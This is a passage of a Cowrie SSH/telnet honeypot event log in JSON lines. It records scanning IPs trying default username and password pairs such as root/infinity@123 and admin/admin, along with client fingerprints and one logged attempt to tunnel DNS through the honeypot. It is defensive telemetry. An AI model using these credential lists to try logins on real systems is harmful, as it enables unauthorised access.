f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:39.039089Z","src_ip":"45.140.193.156","session":"2273748fe98c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"infinity@123","message":"login attempt [root/infinity@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:39.557437Z","src_ip":"45.140.193.156","session":"2273748fe98c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:39.987728Z","src_ip":"91.92.42.133","session":"6afc72cfb3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:40.675350Z","src_ip":"45.140.193.156","session":"2273748fe98c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49428,"dst_ip":"159.203.135.109","dst_port":22,"session":"8378bc82c2ab","protocol":"ssh","message":"New connection: 91.92.42.133:49428 (159.203.135.109:22) [session: 8378bc82c2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:44.622195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:44.769305Z","src_ip":"91.92.42.133","session":"8378bc82c2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:44.772599Z","src_ip":"91.92.42.133","session":"8378bc82c2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:46.083762Z","src_ip":"91.92.42.133","session":"8378bc82c2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:47.455018Z","src_ip":"91.92.42.133","session":"8378bc82c2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54506,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d9c6ee959f","protocol":"telnet","message":"New connection: 172.81.62.90:54506 (159.203.135.109:23) [session: 18d9c6ee959f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:47.843910Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49530,"dst_ip":"159.203.135.109","dst_port":22,"session":"04bedc51af6a","protocol":"ssh","message":"New connection: 91.92.42.133:49530 (159.203.135.109:22) [session: 04bedc51af6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:51.394693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:51.803568Z","src_ip":"91.92.42.133","session":"04bedc51af6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:51.806573Z","src_ip":"91.92.42.133","session":"04bedc51af6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:54.327142Z","src_ip":"91.92.42.133","session":"04bedc51af6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:55.433703Z","src_ip":"91.92.42.133","session":"04bedc51af6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40304,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8d17651cae4","protocol":"ssh","message":"New connection: 91.92.42.133:40304 (159.203.135.109:22) [session: c8d17651cae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:00.031150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:00.055418Z","src_ip":"91.92.42.133","session":"c8d17651cae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:00.126265Z","src_ip":"91.92.42.133","session":"c8d17651cae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:00.444394Z","src_ip":"91.92.42.133","session":"c8d17651cae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:01.676702Z","src_ip":"91.92.42.133","session":"c8d17651cae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49834,"dst_ip":"159.203.135.109","dst_port":22,"session":"265edaf15eab","protocol":"ssh","message":"New connection: 91.92.42.133:49834 (159.203.135.109:22) [session: 265edaf15eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:06.852704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:07.200882Z","src_ip":"91.92.42.133","session":"265edaf15eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:07.204607Z","src_ip":"91.92.42.133","session":"265edaf15eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:09.228502Z","src_ip":"91.92.42.133","session":"265edaf15eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:10.655687Z","src_ip":"91.92.42.133","session":"265edaf15eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2056,"dst_ip":"10.17.0.5","dst_port":22,"session":"be1c2a37fc79","protocol":"ssh","message":"New connection: 87.251.64.176:2056 (10.17.0.5:22) [session: be1c2a37fc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:11.985308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:11.989890Z","src_ip":"87.251.64.176","session":"be1c2a37fc79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:12.083307Z","src_ip":"87.251.64.176","session":"be1c2a37fc79","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:12.365475Z","src_ip":"87.251.64.176","session":"be1c2a37fc79","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:12.463748Z","session":"be1c2a37fc79","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:12.560090Z","src_ip":"87.251.64.176","session":"be1c2a37fc79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:12.659594Z","src_ip":"87.251.64.176","session":"be1c2a37fc79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58552,"dst_ip":"159.203.135.109","dst_port":22,"session":"0971311f22c6","protocol":"ssh","message":"New connection: 91.92.42.133:58552 (159.203.135.109:22) [session: 0971311f22c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:14.616130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:14.972765Z","src_ip":"91.92.42.133","session":"0971311f22c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:14.975288Z","src_ip":"91.92.42.133","session":"0971311f22c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:17.110282Z","src_ip":"91.92.42.133","session":"0971311f22c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:18.598959Z","src_ip":"91.92.42.133","session":"0971311f22c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.6433265209198,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:21.487103Z","src_ip":"172.81.62.90","session":"18d9c6ee959f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58648,"dst_ip":"159.203.135.109","dst_port":22,"session":"81a597efdc00","protocol":"ssh","message":"New connection: 91.92.42.133:58648 (159.203.135.109:22) [session: 81a597efdc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:22.803181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:22.982599Z","src_ip":"91.92.42.133","session":"81a597efdc00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:22.985635Z","src_ip":"91.92.42.133","session":"81a597efdc00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:23.774460Z","src_ip":"91.92.42.133","session":"81a597efdc00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:25.458399Z","src_ip":"91.92.42.133","session":"81a597efdc00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57184,"dst_ip":"159.203.135.109","dst_port":22,"session":"349a2f478aae","protocol":"ssh","message":"New connection: 91.92.42.133:57184 (159.203.135.109:22) [session: 349a2f478aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:29.316205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:49:29.774876Z","src_ip":"91.92.42.133","session":"349a2f478aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2